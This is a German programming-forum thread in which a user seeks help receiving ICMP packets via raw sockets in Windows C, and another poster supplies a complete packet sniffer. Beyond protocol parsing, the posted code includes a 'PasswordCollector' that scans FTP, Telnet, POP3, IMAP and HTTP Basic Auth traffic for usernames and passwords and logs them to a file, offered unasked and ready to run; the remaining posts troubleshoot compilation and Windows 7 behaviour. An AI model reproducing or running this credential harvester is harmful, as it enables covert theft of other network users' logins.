ICMP Sniffer in C WinAPI



  • Hey Leute,

    ich versuche mich gerade an einem Programm, von dem ein Teil die verarbeitung von empfangenen ICMP Packeten ist. Nicht die Verarbeitung, sondern das empfangen bereitet mir leider sehr große Probleme.

    Um euch zu zeigen wie weit ich bin habe ich den Code mal bei PasteBin hochgeladen
    http://pastebin.com/GZVjDQ35

    Leider kann ich KEINE Packete damit empfangen.
    Bitte entschuldigt das Durcheinander aber aufräumen kommt später.

    Probleme:
    - Der Socket Timeout läuft net
    - Keine Packete werden empfangen

    ICMP Sniffer WinAPI in C | PellesC

    Mfg Homie



  • Na zeile 88 read() auf ein Socket ist schon mal suboptimal, warum nutzt du nicht recv()? Ansonsten könnte dir das hier vielleicht behilflich sein, auch wenn es nicht unbedingt für Windows ist.
    http://www.zotteljedi.de/traceroute/index.html
    Unter Windows 7 / Vista musst du Programme die SOCK_RAW nutzen vermutlich mit Adminrechten starten.



  • recv() hab ich auch schon getestet. Gleiches Ergebniss.

    Es ist Wichtig, dass es sich um WinAPI Versionen in C handelt. Unix Versionen find ich leider zur genüge 😞 .



  • Dass kann nicht gehen!
    Schau mal...http://msdn.microsoft.com/en-us/library/ms740548%28v=vs.85%29.aspx

    Und verwende doch mal die neuere socket library 2.2

    WSAStartup(MAKEWORD(2, 2), &wsa));
    

    Und schau Dir mal dies an...

    //=========================================================================
    //
    // File	: NetSniff23 v0.07
    //
    // Author	: lowbyte
    //                           
    // Create	: ***********
    //
    // Last Up	: ***********
    //
    // Prog.L	: C
    //
    //-------------------------------------------------------------------------
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <winsock2.h>
    #include <Ws2ipdef.h>
    #include <Mstcpip.h>
    #include "netlibex.h"
    
    #define	PORT		60000
    #define MAXPKSIZE	65535
    
    typedef struct ip_hdr
    {
        unsigned char verlen;  
        unsigned char  tos;           
        unsigned short tot_len;       
        unsigned short id;            
        unsigned short offset;        
        unsigned char  ttl;           
        unsigned char  protocol;      
        unsigned short checksum;      
        unsigned int   saddr;         
        unsigned int   daddr;         
    
    } IP_HDR;
    
    typedef struct tcp_hdr
    {
    	unsigned short	sport;
    	unsigned short	dport;
    	unsigned int	seqnum;
    	unsigned int	acknum;
    	unsigned char	DataOffset;
    	unsigned char	Flags;
    	unsigned short	Windows;
    	unsigned short	Checksum;
    	unsigned short	UrgPointer;
    
    } TCP_HDR;
    
    typedef struct udp_hdr
    {
        unsigned short  sport;         
        unsigned short  dport;
    	unsigned short	len;
    	unsigned short	checksum;
    
    } UDP_HDR;
    
    typedef struct icmp_hdr
    {
    	unsigned char  type;
    	unsigned char  code;
    	unsigned short checksum; 
    	unsigned short id;
    	unsigned short sequence;
    	unsigned int   origtimestamp;
    	unsigned int   recvtimestamp;
    	unsigned int   transmtimestamp;
    
    } ICMP_HDR; 
    
    /* Function prototyp's */
    char *DisplayError(void);
    int LaunchSniffing(SOCKET sock);
    int ParsePacket(unsigned char *packet);
    int ParseTcpApplicationLayerOfThePacket(unsigned char *packet ,unsigned short fpklen);
    int ParseUdpApplicationLayerOfThePacket(unsigned char *packet ,unsigned short fpklen);
    int ParseIcmpDataOfThePacket(unsigned char *packet ,unsigned short fpklen);
    void PrintAscii(unsigned char *string ,int len);
    void IcmpDisplay(struct ip_hdr *ip, struct icmp_hdr *icmp);
    void TcpDisplay(struct ip_hdr *ip, struct tcp_hdr *tcp);
    void UdpDisplay(struct ip_hdr *ip, struct udp_hdr *udp);
    int PasswordCollector(unsigned char *packet);
    int ScanTcpPacket(unsigned char *packet ,struct ip_hdr *ip, struct tcp_hdr *tcp);
    
    int main(int argc, char **argv)
    {	
    	SOCKET socksniffer;
    
    	fprintf(stdout, "Sniffing...\n\n");
    
    	/* Init Winsock */
    	if( InitWinSock2() ) {
    		getchar();
    		return 1;
    	}
    
    	/* Create raw socket for sniffing */
    	if( CreateRawSocket(&socksniffer ,AF_INET ,IPPROTO_IP) ) {
    		getchar();
    		return 1;
    	}
    
    	/* Launch sniffing */
    	LaunchSniffing(socksniffer);
    
    	return 0;
    }
    
    int LaunchSniffing(SOCKET sock)
    {
    	DWORD dwBufferLen[10], dwBufferInLen = 1, dwBytesReturned = 0, dwSize;
    	struct sockaddr_in dest, from;
    	struct hostent *hp;  
    	int sread, i, fromlen = sizeof(from);  
    	unsigned char packet[MAXPKSIZE+1], *Hostname = NULL;
    
    	Hostname = (char *)malloc(32 * sizeof(char *));
    	dwSize = 32 * sizeof(char *);
    
    	if(GetComputerName(Hostname, &dwSize) == 0) {
    	    fprintf(stderr, "GetComputerName(), %s", DisplayError());
    		return 1;
    	}
    
    	if((hp = gethostbyname(Hostname)) == NULL) {
    		fprintf(stderr, "gethostbyname(), %s", DisplayError());
    		return 1;  
    	}
    
    	free(Hostname);
    
    	i = 0;
        while((hp->h_addr_list[i+1]) != NULL) {
           i++;
        }
    
        memcpy(&from.sin_addr.s_addr, hp->h_addr_list[i], hp->h_length);
    
    	if((hp = gethostbyname(inet_ntoa(from.sin_addr))) == NULL) {
    		fprintf(stderr, "gethostbyname(), %s", DisplayError());
    		return 1; 
    	}
    
    	memset(&dest ,0 ,sizeof(dest));  
    	memcpy(&dest.sin_addr.s_addr ,hp->h_addr_list[0], hp->h_length);
    	dest.sin_family = AF_INET;  
    	dest.sin_port = htons(PORT);
    
    	if( bind(sock ,(PSOCKADDR)&dest ,sizeof(dest)) == SOCKET_ERROR) {
    		fprintf(stderr, "bind(), %s", DisplayError());
    		return 1;
    	}
    
    	if( WSAIoctl(sock ,SIO_RCVALL ,&dwBufferInLen ,sizeof(dwBufferInLen) ,&dwBufferLen ,sizeof(dwBufferLen) ,&dwBytesReturned ,NULL ,NULL) == SOCKET_ERROR) {
    		fprintf(stderr ,"WSAIoctl(), %s" ,DisplayError());
    		return 1;
    	}
    
    	while(1) {
    
    		sread = recvfrom(sock ,packet ,MAXPKSIZE ,0 ,(struct sockaddr*)&from ,&fromlen);  
    
    		if(sread == SOCKET_ERROR || sread < 0) {
    
    			if(WSAGetLastError() == WSAETIMEDOUT)  
    				continue;  
    
    			printf_s("recvfrom() failed: %d\n", WSAGetLastError());  
    			return 1;  
    		}
    
    		ParsePacket(packet);
    		PasswordCollector(packet);
    	}
    
    	return 0;
    }
    
    int ParsePacket(unsigned char *packet)
    {
    	struct ip_hdr *ip;
    	struct icmp_hdr *icmp;
    	struct tcp_hdr *tcp;
    	struct udp_hdr *udp;
    
    	ip = (struct ip_hdr *)packet;
    	icmp = (struct icmp_hdr *)(packet + sizeof(struct ip_hdr));
    	tcp = (struct tcp_hdr *)(packet + sizeof(struct ip_hdr));
    	udp = (struct udp_hdr *)(packet + sizeof(struct ip_hdr));
    
    	switch(ip->protocol)
    	{
    
    		case 6: /* TCP Protocol */
    			TcpDisplay(ip ,tcp);
    			ParseTcpApplicationLayerOfThePacket(packet ,ntohs(ip->tot_len));
    			break;
    
    		case 1: /* ICMP Protocol */
    			IcmpDisplay(ip ,icmp);
    			ParseIcmpDataOfThePacket(packet ,ntohs(ip->tot_len));
    			break;
    
    		case 17: /* UDP Protocol */
    			UdpDisplay(ip ,udp);
    			ParseUdpApplicationLayerOfThePacket(packet ,ntohs(ip->tot_len));
    			break;
    
    		default: /* OTHERS Protocols */	
    			break;	
    	}
    
    	return 0;
    }
    
    int ParseTcpApplicationLayerOfThePacket(unsigned char *packet ,unsigned short fpklen)
    {
    
    	switch(0)
    	{
    
    	/* OTHERS Protocols */
    	//case: 80 HTTP
    
    	/* RAW TCP DATA */	
    	default:
    		fputs("\n" ,stdout);
    		PrintAscii( &packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,(fpklen-(sizeof(IP_HDR)+sizeof(TCP_HDR))) );
    		fputs("\n\n" ,stdout);
    		break;
    	}
    
    	return 0;
    }
    
    int ParseUdpApplicationLayerOfThePacket(unsigned char *packet ,unsigned short fpklen)
    {
    
    	switch(0)
    	{
    
    	/* OTHERS Protocols */
    	//case: 53 DNS
    
    	/* RAW UDP DATA */	
    	default:
    		fputs("\n" ,stdout);
    		PrintAscii( &packet[sizeof(IP_HDR)+sizeof(UDP_HDR)] ,fpklen-(sizeof(IP_HDR)+sizeof(UDP_HDR)) );
    		fputs("\n\n" ,stdout);
    		break;
    	}
    
    	return 0;
    }
    
    int ParseIcmpDataOfThePacket(unsigned char *packet ,unsigned short fpklen)
    {
    	struct icmp_hdr *icmp;
    	int htimestamplen = 0;
    
    	icmp = (struct icmp_hdr *)(packet + sizeof(struct ip_hdr));
    
    	if( (icmp->type == 13) || (icmp->type == 14) ) {
    		htimestamplen = 0;
    	} else {
    		htimestamplen = 12;
    	}
    
    	fputs("\n" ,stdout);
    	PrintAscii( &packet[(sizeof(IP_HDR)+sizeof(ICMP_HDR) - htimestamplen)] ,fpklen-((sizeof(IP_HDR)+sizeof(ICMP_HDR)) - htimestamplen) );
    	fputs("\n\n" ,stdout);
    
    	return 0;
    }
    
    void IcmpDisplay(struct ip_hdr *ip, struct icmp_hdr *icmp)
    {  	
    
    	fprintf(stdout, "IP/ICMP: [%d] %s", ntohs(ip->tot_len), inet_ntoa(*(struct in_addr *)&ip->saddr));
    	fprintf(stdout, " > %s type %d code %d ttl %d seq 0x%x\n", inet_ntoa(*(struct in_addr *)&ip->daddr),icmp->type, icmp->code, ip->ttl, ntohs(icmp->sequence));
    }
    
    void UdpDisplay(struct ip_hdr *ip, struct udp_hdr *udp)
    {  	
    
    	fprintf(stdout, "IP/UDP: [%d] %s:%d", ntohs(ip->tot_len), inet_ntoa(*(struct in_addr *)&ip->saddr) ,ntohs(udp->sport));
    	fprintf(stdout, " > %s:%d ttl %d len %d\n", inet_ntoa(*(struct in_addr *)&ip->daddr) ,ntohs(udp->dport) ,ip->ttl ,ntohs(udp->len));
    }
    
    void TcpDisplay(struct ip_hdr *ip, struct tcp_hdr *tcp) 
    {
    
    	fprintf(stdout ,"IP/TCP: [%d] %s:%d",ntohs(ip->tot_len) ,inet_ntoa(*(struct in_addr *)&ip->saddr) ,ntohs(tcp->sport));
    	fprintf(stdout ," > %s:%d id %d offset %d tos %d ttl %d win %d checksum 0x%x flag (%d) ",inet_ntoa(*(struct in_addr *)&ip->daddr) ,ntohs(tcp->dport) ,ntohs(ip->id) ,ntohs(ip->offset) ,ip->tos ,ip->ttl ,ntohs(tcp->Windows) ,ntohs(tcp->Checksum) ,ntohs(tcp->Flags));
    
    	/* Print TCP - Flag's */
    
    	/* URG */
    	if( ((tcp->Flags>>5) & 1)) {
    		printf_s("URG ");
    	}
    	/* RST */
    	if( ((tcp->Flags>>2) & 1)) {
    		printf_s("RST ");
    	}
    	/* SYN */
    	if( ((tcp->Flags>>1) & 1)) {
    		printf_s("SYN ");
    	}
    	/* FIN */
    	if( ((tcp->Flags>>0) & 1)) {
    		printf_s("FIN ");
    	}
    	/* ACK */
    	if( ((tcp->Flags>>4) & 1)) {
    		printf_s("ACK ");
    	}
    	/* PSH */
    	if( ((tcp->Flags>>3) & 1)) {
    		printf_s("PSH ");
    	}
    
    	fputs("\n" ,stdout);
    
    }
    
    void PrintAscii(unsigned char *string ,int len)
    {
    	int i;
    
    	if(len == 0)
    		return;
    
    	for(i=0;(i<len);i++) {
    
    		if( ((int)string[i] >= 32) && ((int)string[i] <= 126)  ) {
    			printf("%c",string[i]);
    		} else {
    			printf_s(".");
    		}
    	}
    }
    
    char *DisplayError(void)
    {
    	LPVOID error;
    	char *buffer=NULL;
    
    	FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(),MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&error, 0, NULL);
    
    	buffer = (char *)GlobalAlloc(GPTR ,strlen(error)+1);
    	sprintf(buffer, "%s", error);
    
    	return buffer;
    }
    
    int PasswordCollector(unsigned char *packet)
    {
    	struct ip_hdr *ip;
    	struct tcp_hdr *tcp;
    	struct udp_hdr *udp;
    
    	ip = (struct ip_hdr *)packet;
    	tcp = (struct tcp_hdr *)(packet + sizeof(struct ip_hdr));
    	udp = (struct udp_hdr *)(packet + sizeof(struct ip_hdr));
    
    	switch(ip->protocol)
    	{
    		/* TCP */
    		case 6:
    			ScanTcpPacket(packet ,ip ,tcp);
    			break;
    
    		/* UDP */
    		case 17:
    		//	ScanUdpPacket(packet ,ip ,udp); coming soon
    			break;
    	}
    
    	return 0;
    }
    
    int ScanTcpPacket(unsigned char *packet ,struct ip_hdr *ip ,struct tcp_hdr *tcp)
    {
    	char *sp = NULL ,*sp1 = NULL;
    	FILE *fp = NULL;
    
    	switch(htons(tcp->dport))
    	{
    		/* FTP */
    		case 21:
    
    			packet[ntohs(ip->tot_len)] = '\0';
    			sp = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"USER ");
    			sp1 = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"user ");
    
    			if((sp != NULL) || (sp1 != NULL)) {
    				fp = fopen("password_collector.txt" ,"a+");
    				if(fp != NULL) {
    					fprintf(fp, "\nIP/TCP: %s:%d", inet_ntoa(*(struct in_addr *)&ip->saddr) ,ntohs(tcp->sport) );
    					fprintf(fp, " > %s:%d  (FTP)", inet_ntoa(*(struct in_addr *)&ip->daddr) ,ntohs(tcp->dport) );
    					if(sp != NULL) {
    						fprintf(fp ,"\n\n%.50s" ,sp);
    					} else {
    						fprintf(fp ,"\n\n%.50s" ,sp1);
    					}
    					fclose(fp);
    				}
    			}
    
    			sp = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"PASS ");
    			sp1 = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"pass ");
    			if((sp != NULL) || (sp1 != NULL)) {
    				fp = fopen("password_collector.txt" ,"a+");
    				if(fp != NULL) {
    					if(sp != NULL) {
    						fprintf(fp ,"\n%.50s" ,sp);
    					} else {
    						fprintf(fp ,"\n%.50s" ,sp1);
    					}
    					fclose(fp);
    				}
    			}
    
    			break;
    
    		/* TELNET */
    		case 23:
    
    			packet[ntohs(ip->tot_len)] = '\0';
    			sp = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"USER ");
    			sp1 = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"user ");
    
    			if((sp != NULL) || (sp1 != NULL)) {
    				fp = fopen("password_collector.txt" ,"a+");
    				if(fp != NULL) {
    					fprintf(fp, "\nIP/TCP: %s:%d", inet_ntoa(*(struct in_addr *)&ip->saddr) ,ntohs(tcp->sport) );
    					fprintf(fp, " > %s:%d  (TELNET)", inet_ntoa(*(struct in_addr *)&ip->daddr) ,ntohs(tcp->dport) );
    					if(sp != NULL) {
    						fprintf(fp ,"\n\n%.50s" ,sp);
    					} else {
    						fprintf(fp ,"\n\n%.50s" ,sp1);
    					}
    					fclose(fp);
    				}
    			}
    
    			sp = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"PASS ");
    			sp1 = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"pass ");
    			if((sp != NULL) || (sp1 != NULL)) {
    				fp = fopen("password_collector.txt" ,"a+");
    				if(fp != NULL) {
    					if(sp != NULL) {
    						fprintf(fp ,"\n%.50s" ,sp);
    					} else {
    						fprintf(fp ,"\n%.50s" ,sp1);
    					}
    					fclose(fp);
    				}
    			}
    
    			break;
    
    		/* POP3 */
    		case 110:
    
    			packet[ntohs(ip->tot_len)] = '\0';
    			sp = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"USER ");
    			sp1 = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"user ");
    
    			if((sp != NULL) || (sp1 != NULL)) {
    				fp = fopen("password_collector.txt" ,"a+");
    				if(fp != NULL) {
    					fprintf(fp, "\nIP/TCP: %s:%d", inet_ntoa(*(struct in_addr *)&ip->saddr) ,ntohs(tcp->sport) );
    					fprintf(fp, " > %s:%d  (POP3)", inet_ntoa(*(struct in_addr *)&ip->daddr) ,ntohs(tcp->dport) );
    					if(sp != NULL) {
    						fprintf(fp ,"\n\n%.50s" ,sp);
    					} else {
    						fprintf(fp ,"\n\n%.50s" ,sp1);
    					}
    					fclose(fp);
    				}
    			}
    
    			sp = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"PASS ");
    			sp1 = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"pass ");
    			if((sp != NULL) || (sp1 != NULL)) {
    				fp = fopen("password_collector.txt" ,"a+");
    				if(fp != NULL) {
    					if(sp != NULL) {
    						fprintf(fp ,"\n%.50s" ,sp);
    					} else {
    						fprintf(fp ,"\n%.50s" ,sp1);
    					}
    					fclose(fp);
    				}
    			}
    
    			break;
    
    		/* HTTP */
    		case 80:
    
    			packet[ntohs(ip->tot_len)] = '\0';
    			sp = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"Authorization: Basic");
    
    			if(sp != NULL) {
    				fp = fopen("password_collector.txt" ,"a+");
    				if(fp != NULL) {
    					fprintf(fp, "\nIP/TCP: %s:%d", inet_ntoa(*(struct in_addr *)&ip->saddr) ,ntohs(tcp->sport) );
    					fprintf(fp, " > %s:%d  (HTTP)", inet_ntoa(*(struct in_addr *)&ip->daddr) ,ntohs(tcp->dport) );
    					if(sp != NULL) {
    						fprintf(fp ,"\n\n%.50s" ,sp);
    					}
    					fclose(fp);
    				}
    			}
    
    			break;
    
    		/* IMAP */
    		case 143:
    
    			packet[ntohs(ip->tot_len)] = '\0';
    			sp = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"LOGIN ");
    			sp1 = strstr(&packet[sizeof(IP_HDR)+sizeof(TCP_HDR)] ,"login ");
    
    			if((sp != NULL) || (sp1 != NULL)) {
    				fp = fopen("password_collector.txt" ,"a+");
    				if(fp != NULL) {
    					fprintf(fp, "\nIP/TCP: %s:%d", inet_ntoa(*(struct in_addr *)&ip->saddr) ,ntohs(tcp->sport) );
    					fprintf(fp, " > %s:%d  (IMAP)", inet_ntoa(*(struct in_addr *)&ip->daddr) ,ntohs(tcp->dport) );
    					if(sp != NULL) {
    						fprintf(fp ,"\n\n%.50s" ,sp);
    					} else {
    						fprintf(fp ,"\n\n%.50s" ,sp1);
    					}
    					fclose(fp);
    				}
    			}
    
    			break;
    
    	}
    
    	return 0;
    }
    


  • Bekomm ich folgende Meldungen:
    C:\Program Files\PellesC\Include\Win\Mstcpip.h(460): warning #2027: Missing prototype for 'RTL_BITS_OF'.
    C:\Program Files\PellesC\Include\Win\Mstcpip.h(460): error #2066: Illegal use of type name 'USHORT'.
    C:\Program Files\PellesC\Include\Win\Mstcpip.h(465): warning #2027: Missing prototype for 'RTL_BITS_OF'.
    C:\Program Files\PellesC\Include\Win\Mstcpip.h(465): error #2066: Illegal use of type name 'USHORT'.
    C:\Users\TXXX\Desktop\test\test.c(20): fatal error #1035: Can't find include file <netlibex.h>.

    Die MSDN Seite les ich mir jetzt durch. PS: Gibts die auch in deutsch ?

    Vielen Dank bis hierhin schon mal 😉
    Mfg Homie



  • Ups. sorry netlibex.h ist eine header Datei von einer library von mir.
    Kannst dies hinzufügen.

    int CreateRawSocket(SOCKET *p_sock ,int af ,int protocol) 
    {
       SOCKET sock = 0;
    
       sock = socket(af, SOCK_RAW, protocol);
       if(sock == INVALID_SOCKET) {
    			printf("CreateRawSocket -> socket(), error code :%i\n", WSAGetLastError());
    		return 1;
       }
    
       *p_sock = sock;
    
       return 0;
    }
    

    Und ich glaube es gibt nichts wichtigeres als die Sprache Englisch zu können...sonnst kommt man nicht weit. Ich habs nicht so mit Deutsch 🤡
    Und sonnst kannste die Seite ja immer noch übersetzen lassen.

    http://translate.google.ch/?hl=de&tab=wT

    Und dies!..Was benutzt Du für eine Entwicklungsumgebung/Compiler?
    C:\Program Files\PellesC\Include\Win\Mstcpip.h(460): warning #2027: Missing prototype for 'RTL_BITS_OF'.
    C:\Program Files\PellesC\Include\Win\Mstcpip.h(460): error #2066: Illegal use of type name 'USHORT'.
    C:\Program Files\PellesC\Include\Win\Mstcpip.h(465): warning #2027: Missing prototype for 'RTL_BITS_OF'.
    C:\Program Files\PellesC\Include\Win\Mstcpip.h(465): error #2066: Illegal use of type name 'USHORT'.



  • So hab alles von dir übernommen und das kommt raus:

    Erzeugen von test.obj.
    C:\Program Files\PellesC\Include\Win\Mstcpip.h(460): warning #2027: Missing prototype for 'RTL_BITS_OF'.
    C:\Program Files\PellesC\Include\Win\Mstcpip.h(460): error #2066: Illegal use of type name 'USHORT'.
    C:\Program Files\PellesC\Include\Win\Mstcpip.h(465): warning #2027: Missing prototype for 'RTL_BITS_OF'.
    C:\Program Files\PellesC\Include\Win\Mstcpip.h(465): error #2066: Illegal use of type name 'USHORT'.
    C:\Users\TX\Desktop\test\test.c(107): warning #2027: Missing prototype for 'InitWinSock2'.
    C:\Users\TX\Desktop\test\test.c(137): warning #2145: Assignment of 'char *' to 'unsigned char *'.
    C:\Users\TX\Desktop\test\test.c(140): warning #2145: Assignment of 'unsigned char *' to 'char *'.
    C:\Users\TX\Desktop\test\test.c(145): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(183): warning #2145: Assignment of 'unsigned char *' to 'char *'.
    C:\Users\TX\Desktop\test\test.c(190): warning #2027: Missing prototype for 'printf_s'.
    C:\Users\TX\Desktop\test\test.c(338): warning #2027: Missing prototype for 'printf_s'.
    C:\Users\TX\Desktop\test\test.c(342): warning #2027: Missing prototype for 'printf_s'.
    C:\Users\TX\Desktop\test\test.c(346): warning #2027: Missing prototype for 'printf_s'.
    C:\Users\TX\Desktop\test\test.c(350): warning #2027: Missing prototype for 'printf_s'.
    C:\Users\TX\Desktop\test\test.c(354): warning #2027: Missing prototype for 'printf_s'.
    C:\Users\TX\Desktop\test\test.c(358): warning #2027: Missing prototype for 'printf_s'.
    C:\Users\TX\Desktop\test\test.c(379): warning #2027: Missing prototype for 'printf_s'.
    C:\Users\TX\Desktop\test\test.c(398): warning #2234: Argument 3 to 'sprintf' does not match the format string; expected 'char *' but found 'void *'.
    C:\Users\TX\Desktop\test\test.c(449): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(450): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(466): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(467): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(486): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(487): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(503): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(504): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(523): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(524): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(540): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(541): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(560): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(580): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    C:\Users\TX\Desktop\test\test.c(581): warning #2145: Assignment of 'unsigned char *' to 'const char *'.
    *** Fehlercode: 1 ***
    Fertig.

    Ich nutze PellesC



  • Du siehst ja wo die Probleme sind. Ein bisschen anpassen und es läuft!



  • Installiere eine anständige Entwicklungsumgebung wie VC++ 2010 Express Edition und du hast keine Probleme!



  • @lowbyte
    Bei mir funktioniert dein Konstrukt leider gar nicht, kein Fehler, er blockt einfach bei recvfrom() aber empfängt nichts. Hast du vielleicht irgendetwas vergessen, oder habe ich etwas übersehen?



  • Bei mir funktioniert es ohne Probleme. Danke



  • cooky451 schrieb:

    @lowbyte
    Bei mir funktioniert dein Konstrukt leider gar nicht, kein Fehler, er blockt einfach bei recvfrom() aber empfängt nichts. Hast du vielleicht irgendetwas vergessen, oder habe ich etwas übersehen?

    Oben fehlt noch...

    BOOL InitWinSock2(void)
    {
    	WSADATA iws;
    
    	if( WSAStartup(MAKEWORD(2,2), &iws) != 0 ) {
    		printf("\nWSAStartup() error : %i\n",WSAGetLastError());
    		return 1;
    	}
    
    	return 0;
    }
    

    // Suboptimal -> hier egal

    Aber das hast du ja sicherlich selber gemerkt. Und den Code sicher mit etwas ähnlichem ergänzt. Ich denke das hier eine Firewall bei Dir die Finger im Spiel hat! Der Port sollte eigentlich egal sein... Wenn natürlich schon eine andere application auf dem Port lauscht den Du definiert hast, dann gibt's natürlich auch ein Problem.. aber das solltest Du ja wissen denke ich.



  • Ja den Code habe ich ersetzt, klar. Ich habe es gerade mal mit XP probiert, da funktioniert es. (Da funktioniert auch mein Testcode, ich war schon am verzweifeln. :D). Ok, es liegt also an Windows 7. Schon komisch, Firewall ist eh immer aus und als Admin starte ich das Ganze auch. Noch jemand anders Erfahrungen mit Windows 7?



  • Also bei mir läuft es auch unter Win7.



  • cooky451 schrieb:

    Ja den Code habe ich ersetzt, klar. Ich habe es gerade mal mit XP probiert, da funktioniert es. (Da funktioniert auch mein Testcode, ich war schon am verzweifeln. :D). Ok, es liegt also an Windows 7. Schon komisch, Firewall ist eh immer aus und als Admin starte ich das Ganze auch. Noch jemand anders Erfahrungen mit Windows 7?

    Dies sollte auch auf Win7 funktionieren! Was ist den genau bei Dir das Problem? Fehler?



  • Okey nach ein bisschen überlegen ist mir eingefallen das ich bei Win7 IPv6 deaktiviert habe. Also bei mir wird nicht ein 6to4-Tunnel eingerichtet!
    Bei mir läuft auf Win7 nur IPv4. Teste das mal. Wenn JA musst Du es ein bisschen auf 6to4 herbiegen.


Anmelden zum Antworten